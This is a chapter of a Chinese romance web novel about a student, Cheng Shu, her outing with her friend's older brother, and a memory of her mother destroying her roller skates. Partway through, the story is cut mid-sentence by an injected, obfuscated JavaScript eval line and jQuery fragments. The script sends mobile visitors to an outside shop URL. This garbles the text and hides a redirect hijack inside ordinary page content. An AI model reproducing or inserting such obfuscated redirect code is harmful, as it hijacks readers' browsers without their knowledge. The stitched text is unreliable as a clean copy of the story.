程舒是个习惯独来独往，却又将自己过得很充实的人。
大学期间她培养了许多爱好，健身、攀岩、手工以及让沈豫匪夷所思的一项——收纳。
“每周六她会去金和大厦上收纳课。”沈妤搅着奶茶，嘴巴里鼓鼓囊囊，“你问这个做什么？”
“随便问问。”
“哦。”沈妤随手撩起挡在脸前的短发，嘀咕着，“我还以为你看上我家小舒了。也是，她还那么小，哥你要是下手就成畜生了。”
沈妤比程舒大一岁，甚至平时是程舒照顾她多一些，但心理上总把自己当成大姐姐。
沈豫扶着桌面的手不自然地点了点，瞥见妹妹原本光洁的耳垂戴着一枚黑色耳钉，没有被挡住的部分又红又肿。
顿时冷下声：“什么时候打的耳洞？”
沈妤吓得手一抖，梦回自己高中时和朋友厮混晚归，还没来及洗脸上的纹身贴，被守在门口的沈豫逮个正着，他用手电筒照着她的脸上的图样。
皮笑肉不笑地问：“什么时候学会当流氓了？嗯？”
压迫感让还处在幼年体的沈妤当场虔诚地五体投地，下跪求个全尸。
沈妤咳了两声，“啊，我忽然想起来期末周有篇论文要交，哥你不是让我好好学习吗？我这就滚去进步，不碍您老人家的眼。”
沈妤丝滑退场，原以为事儿哥会喊住她教训几句，却没想到这次对方只是皱了皱眉，便挥手让她走。
难道上次说的话起效了?
沈妤躲在墙后偷看了一会，发现她老哥拿着手机犹豫了许久，双手点着键盘，又好像不满意一样，尽数删掉。
不对劲。
十分有十二分不对劲。
沈豫做事情一向胸有成竹，能叫他这样犹犹豫豫的，只可能是一件事。
沈妤连忙拿出消息给程舒发送：
【小舒小舒！】
【重大消息】
【我家摄政王估计要谈恋爱了！】
【终于要解放喽~】
程舒正学习怎么更有效的叠衬衫，瞥见屏幕上弹出的消息，动作一滞。
“这位同学，衣角对叠90度，像这样，才最节省空间。”
程舒连忙收回视线，笑了笑，按照老师教的将衣服叠好。
拿出手机，犹豫片刻后，发送。
【恭喜】
握着手机，程舒静了许久，页面已经自动黑屏，映出她呆滞的表情。
心口泛起一丝丝酸涩，程舒知道，那是属于16岁时的情绪。
哪怕感情已经过期，身体也还会记得。
那种拼命踮起脚尖希望可以靠近一点点，欣喜又伴着不确定的惶恐。
很累，程舒再也不想要体会。
“这是最后一次。”程舒对自己说，“为不属于自己的东西难过。”
她勾了勾唇，眼中恢复淡漠。
沈豫问她什么时候去取陶艺，程舒说今天可以，她取了之后交给沈妤，沈豫方便的时候来拿。
沈豫：【我就在附近】
沈豫：【我们一起，可以吗？】
程舒：【等我收拾一下东西。】
程舒挎着包下楼时，沈豫已经在楼下等她。穿着灰蓝色的羊绒大衣，衬的身形挺拔清隽，宽大翻领随意铺开，眼镜后的视线温和，没有穿西装时刻意规整的凌厉。
反倒透着温润松弛的儒雅。
恰好下了小雪，他握着一柄纯黑色的伞，撑开，一步、一步朝程舒走来。
“谢谢。”程舒乖巧道谢。
“妤妤说你来上收纳课，我原先还不相信。”沈豫将程舒罩在伞下，微微倾斜。
程舒包里装着来上课的‘教具’，一件衬衫和一件卫衣。
沈豫：“怎么会想起来学这个？”
“我觉得很有趣。”程舒随着他的步伐，“本以为只是教人整理家务，没想到还需要学习理论，老师居然有配套的PPT。”
雪花纷飞，落在地面上不消一刻便化成了水。
“很专业了。”沈豫拉开车门，收伞，手扶住车顶，“但不会觉得没有用吗？”
程舒摇摇头，“本来也不指望有什么用，出发点就是想要多接触点不一样的东西，而且，我喜欢保持摄取的感觉。”
沈豫静静听着她说话，他觉得程舒的想法都很有意思，总是有不一样的角度。
程舒看他认真的神色，有些不好意思，“能够源源不断地学东西，会让我觉得很安心。”
沈豫点头，认可她的说法，系上安全带，状似随意地问道：
“因为心里太空了吗？”
所以需要用别的东西来不断填满。
程舒拉着安全带的动作一顿。
睫毛颤了颤，不自然地开着玩笑，“技多不压身。”
两人去手工店取过烧好的陶土，虽然程舒妙手回春，把派大星修复了不少，但依旧面部嶙峋，只不过是丑的精致些了。
沈豫无奈：“感觉不太聪明。”
程舒凑到他手边仔细看，中肯地评价，“像会流口水的样子。”
说完又转而安慰道：“不过派大星本来就笨笨的，你捏出了他的精髓，很难得。”
“就当小舒是在夸我吧。”他笑。
路过一家中古店，程舒想要进去逛逛，问店员：“请问，有没有简约一些的领带夹？”
两人的相貌出色，看上去男士年长一些，但气质却意外的和谐，店员没忍住多看了几眼，将他们领到最里侧桌台上。
“这款怎么样，简约大气，是我们老板从国外淘回来的。”
深蓝色的宝石被切割成莹润的水滴型，镶嵌在金属之上，做工精致却不会太惹眼，价格也合适。
“这款领夹很适合你男朋友。”店员看出程舒心动了，又指着领夹旁侧丝绒布上摆放的同一色系的项链，“领夹是和项链是情侣款，据说原主人是一对相濡以沫的夫妻，当然流经多处也无从考证，算是对恋人美好的祝福。”
“不是的，”程舒瞥了沈豫一眼，连忙解释，“他是我……哥哥。”
哥哥？
沈豫的目光在程舒脸上停顿了半秒。
店员张了张嘴，“抱歉抱歉。”
“没关系。”程舒转而看向另一边的饰品，“我就要这个旁边那枚红色的就好了。”可又忍不住将同款项链的吊坠握在掌心，“……项链可以单独包起来吗？”
蓝色的裸石镶嵌着碎钻，不论是颜色还是款式，程舒都很喜欢。
“抱歉，我们老板特意交代过，还是希望这枚胸针和项链可以一直成对存在。”
“那好吧。”程舒有些失望。
“都包起来吧。”沈豫拿出手机要结账，程舒连忙推诿，“不用的，真的不用。”
“喜欢为什么不都留着？”沈豫觉得道理很简单。
“一对的话，承载的意义太重了。”程舒淡淡地说：“总好像在期待什么降临，带了别的含义，我不喜欢这样。我只是觉得项链很漂亮而已，不想它有别的意思。”
沈豫盯着她手里那枚红色的领带夹，程舒解释说：“有一个朋友最近帮了我很多忙，所以回礼，礼物嘛，我自己付就可以。”
回礼用领带夹。
沈豫眯起眼睛，“男生朋友？”
这个问题很越界。
但程舒还是乖巧地回：“对，社团的学长。”
“教你认识粮仓店的……那个朋友。”沈豫不知情绪地说道。
程舒一开始对这个说法有些懵，想起那天逛谷子店是沈豫的说法，笑着点了点头。
“包好了。”店员将礼物递给她。
门外是一片略显喧闹的广场，傍晚时分，大人纷纷带着小孩来散步，旁边有一家儿童轮滑社。
正在广场举办障碍赛。
小朋友们的欢声笑语惹得程舒驻足。
沈豫看出她的心思，“时间还早，正好雪停了，正好我们可以散会步。”
“嗯。”
虽是说散步，但程舒不自觉地挤进围观比赛的人群。
现在的小朋友，不论是速度还是敏捷度，比许多大人还要强。
程舒貌似对这项运动很感兴趣，紧盯着小朋友的一举一动，会在他们险些失误时，捏紧拳头，无意识地抿唇。又会在他们做出精彩操作时忍不住鼓掌，小声地夸赞：“好棒呀。”
动作和声音都轻轻的，如果没有特别注意，甚至不会令身边的人察觉。
沈豫忍不住注视着眼前尚青涩的女孩，她克制地表达自己的情绪，永远活在自己专注的小世界里。
比赛中有个看上去年纪最小的小姑娘，单脚过障动作行云流水，干净利落，最后拿下全场最高分。
旁边的观众都在欢呼，程舒也跟着踮起脚，鼓着掌，甚至小小的跳了一下。
很可爱。
“她赢得很漂亮！”程舒回过头朝沈豫激动地说。柔和的眉眼弯弯，整个人熠熠生辉。
正对上沈豫深邃的眸子，以及没来得及收回的笑意。
“是很漂亮。”沈豫点着下颌，不自然地挪开视线：“饿了吧，我带你去吃饭。”
程舒抿唇点头，“好”
在等餐的间隙，两人有一搭没一搭聊着。
沈豫问道：“你对轮滑很感兴趣吗？”
程舒想了想，摇头又点头。
“我小时候除了学习，没有其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688636|207041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的事情做。放假的时候，爸爸会趁妈妈不在家，偷偷带我去公园玩。看到有好多小朋友玩轮滑，我爸看我很羡慕的样子，就求小朋友的家长让我玩一会。”
“结果我穿上鞋子就摔了好大一跤，头也磕破了，我爸怕被妈妈骂，让我撒谎说是不小心碰到了桌子角。”
“但还是被我妈发现了，她气得一个星期没有理我爸爸。”
这是沈豫第一次听程舒讲起她自己的事情，那时他幻想着一个严母慈父的家庭，一桩有趣诙谐的童年故事。
但程舒没说的是，她觉得穿上轮滑后的感觉好自由，所以她期末考了第一名，林水音照例问她想要什么礼物。
她说想要一双轮滑，林水音欣然同意了。
为此，程舒期待了许久，甚至做梦都会梦见自己踩着轮滑，像风一样奔跑。
在放假那天，林水音带着她去商场试鞋子，终于在逛了许多家店后，买到了一双她最喜欢的粉色带着碎闪的鞋子。
她抱着鞋盒，觉得好开心。
她终于有自己的鞋子了，幻想着能够和公园的小伙伴一起玩。
可回家后，林水音就将盒子夺了过来。
“好了，给我吧。”
她冷静地从厨房拿出菜刀，当着程舒的面，将这双精心挑选的礼物一刀、一刀砍碎。
林水音问她：“你知道自己错在哪吗？”
程舒被吓到躲在墙角，拼命摇着头。
林水音平静地说：“你不该对妈妈撒谎。”
“你取得好成绩，妈妈答应给你礼物。”
“但你做错了事，妈妈也必须要惩罚你。”
程历军看着妻子的作为，连忙去劝，“别吓到孩子。”
却被林水音愤怒推开，“她小小年纪就学会撒谎，以后长大怎么办？！她现在的任务是好好学习，你都教了她什么？小舒以前都只要钢笔和书，我就不在家几天，她就学会要溜冰鞋了！别以为我不知道，都是你挑唆的！”
程历军心虚地别开眼，林水音顿时情绪上来，“……你们父女俩把我当什么了？把我当敌人吗？我在家辛辛苦苦带孩子，费这么多心思让她上好学校，教好她，到头来你们就这么防贼一样防着我。”
‘砰。’
她将程历军关在门外，只留下程舒强迫她看着自己。
“你做爸爸的不好好教，只有我来告诉她做错事的代价是什么！”
林水音究竟是气她撒谎，还是气她选择了这样一个‘不务正业’的礼物。
程舒不知道。
但那是程舒第一次明白，期待落空是什么滋味。
大刀剁骨头一样，闷闷地砸在身上，皮肉没有半点破损，可内里却遍体鳞伤，再没了力气。
美好的东西，即便短暂抱进怀里，也不会真正属于自己。
屋子里到处都是塑料碎片，碎闪遗落了满地，密密麻麻折射着月光。
林水音砸累了，将菜刀留在地上，看着一眼已经哭到抽搐的女儿，心疼不已，双手抚着她的脸将她搂在怀里。
哽咽道：“小舒，不要怪妈妈，妈妈都是为你好。”
她不怪林水音，程舒怪的只是她不该去奢求不属于自己的东西。
沈豫：“小舒的童年应该很有趣也很幸福吧。”
点的布丁上了，沈豫示意服务员放在程舒面前，程舒拿起餐叉无意识地戳着。
想起那个躲在角落的女孩。
笑了笑：“是啊。”
临别时，程舒从口袋里掏出一个盲盒送给沈豫，说：“谢谢哥哥请我吃了许多次饭，这款是好运盲盒，希望哥哥可以一直幸运。”
女孩的皮肤很白，眉毛和眸色浅淡，比沈豫第一次见到时要长开了不少，但依旧带着稚气。有时充斥着说不清的郁色，但到底还是个小姑娘，站在校门口，浑身洋溢着青春的美好。
她喊哥哥时，尾音微微上翘，软软的，像是小猫的尾巴轻轻挠了下手掌心。
或许是沈妤的话警醒了他，沈豫问：“小舒今年应该……19岁了？”
“对。”
19岁，她还有很多时间去长大。
沈豫想，作为在阅历和社会经验上都比她要多更多的成年人，借着这些优势来图谋一个涉世未深的女孩，会让沈豫觉得自己很可耻。
他是不是不该去贪恋这份美好？
沈豫最后还是没说出那句“以后不用叫哥哥，有机会还可以约你出来吗？”
扬了扬手里的盒子，“谢谢你的祝福。”
可那个谁都不知道未来的冬天，仅仅一瞬的犹豫，沈豫便永远错失了站在她身边的机会。
也是在那一晚，孟昭晏正式向程舒告白。